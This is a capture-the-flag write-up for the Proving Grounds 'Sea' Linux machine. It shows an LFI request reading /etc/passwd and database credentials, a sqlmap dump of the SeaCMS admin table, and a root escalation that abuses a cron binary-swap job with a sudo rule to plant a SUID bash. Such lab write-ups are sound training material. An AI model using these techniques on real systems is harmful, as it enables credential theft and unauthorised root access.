Skip to content

Sea Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Sea runs SeaCMS behind a randomized admin slug. FTP logs leak that slug along with the vulnerable file paths, opening up two independent routes to the same SSH credential: a local file inclusion that reads the database config directly, and a SQL injection that dumps the admin table instead. From an SSH shell, a cron job that blindly swaps binaries in /bin combines with a sudo rule to plant a SUID shell as root.

Reconnaissance

Nmap

Scan all TCP ports and identify running services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sS -sV $TARGET_IP
PORT      STATE SERVICE VERSION
21/tcp    open  ftp
55743/tcp open  http    Apache
Explain command
-p- Scan all 65535 TCP ports.
-sS -sV SYN scan and probe service versions.

The web server on port 55743 identifies itself as SeaCMS in its footer. Known vulnerabilities for this CMS include an LFI in admin_safe.php and a SQL injection in admin_pay.php, but both live behind an admin path whose slug is randomized at install time.

FTP log analysis

Check the FTP service for anything useful.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
ftp> ls
log_01.log
log_02.log
log_03.log
log_04.log

Download the logs and search them; one references the actual installed paths.

┌──(kali㉿kali)-[~]
└─$ ftp> get log_01.log
┌──(kali㉿kali)-[~]
└─$ ftp> get log_02.log
┌──(kali㉿kali)-[~]
└─$ ftp> get log_03.log
┌──(kali㉿kali)-[~]
└─$ ftp> get log_04.log
┌──(kali㉿kali)-[~]
└─$ ftp> !cat log_02.log
/var/www/SeaCMS/th4o4p/admin_safe.php
/var/www/SeaCMS/th4o4p/admin_pay.php
/var/www/SeaCMS/th4o4p/database.php

The slug is th4o4p, and a database.php file sits alongside the two known-vulnerable scripts.

Exploitation

Vector 1: LFI to database credentials

admin_safe.php takes a file parameter that reads arbitrary files off the server.

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP:55743/th4o4p/admin_safe.php?action=download&file=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
<snip>
nicolas:x:1000:1000::/home/nicolas:/bin/bash

Read the database.php file found in the FTP logs.

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP:55743/th4o4p/admin_safe.php?action=download&file=database.php'
nicolas:$NICOLAS_PASSWORD

SSH in with the leaked credential.

┌──(kali㉿kali)-[~]
└─$ ssh nicolas@$TARGET_IP
nicolas@sea:~$ whoami
nicolas

Vector 2: SQL injection to the same credential

The admin_pay.php endpoint is injectable through its id parameter, matching a public SeaCMS SQLi advisory. Automate it with sqlmap.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:55743/th4o4p/admin_pay.php?action=del&id=1" -p id --batch --dbs
available databases [1]:
[*] seacms
Explain command
--batch Use sqlmap's default answers non-interactively.

Enumerate the admin table and dump it.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:55743/th4o4p/admin_pay.php?action=del&id=1" -p id --batch -D seacms -T sea_admin --dump
username: nicolas
password: <base64-encoded value>

The stored password ends in a pair of base64 padding characters, a tell that it's base64-encoded rather than hashed. Decoding it recovers the same credential found through the LFI.

┌──(kali㉿kali)-[~]
└─$ echo '<base64_string>' | base64 -d
nicolas:$NICOLAS_PASSWORD

Both vectors land on the same SSH login as nicolas.

Privilege Escalation

pspy and a cron-driven binary swap

Upload a process spy to watch for scheduled jobs.

┌──(kali㉿kali)-[~]
└─$ scp pspy64 nicolas@$TARGET_IP:/tmp/pspy64
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/pspy64
┌──(kali㉿kali)-[~]
└─$ /tmp/pspy64
CMD: /bin/bash /bin/bin_replacer

A cron job runs bin_replacer periodically. Reading it shows it scans a user's home directory for hidden dotfiles and, if a filename in /bin matches one found there, overwrites that binary with the dotfile's contents.

┌──(kali㉿kali)-[~]
└─$ cat /bin/bin_replacer
#!/bin/bash
for f in ~/.*; do
  name=$(basename "$f")
  [ -f "/bin/$name" ] && cp "$f" "/bin/$name"
done

Check what nicolas can run as root, to find a target binary worth swapping.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User nicolas may run the following commands on sea:
    (ALL) NOPASSWD: /bin/ps aux

ps is runnable as root with no password, and it's also a plain binary name in /bin the replacer script would happily overwrite. Drop a dotfile named .ps in the home directory that the cron job will pick up.

#!/bin/bash

cp /bin/bash /tmp/bash
chmod +s /tmp/bash

After the cron fires, /bin/ps has been replaced with that script.

┌──(kali㉿kali)-[~]
└─$ cat /bin/ps
#!/bin/bash

cp /bin/bash /tmp/bash
chmod +s /tmp/bash

Running it through sudo executes the planted script as root, which drops a SUID copy of bash.

┌──(kali㉿kali)-[~]
└─$ sudo /bin/ps aux
┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/bash
-rwsr-sr-x 1 root root 1168776 ... /tmp/bash
┌──(kali㉿kali)-[~]
└─$ /tmp/bash -p
bash-5.0# whoami
root

The SUID bit on the copied shell preserves root privileges when invoked with -p.

References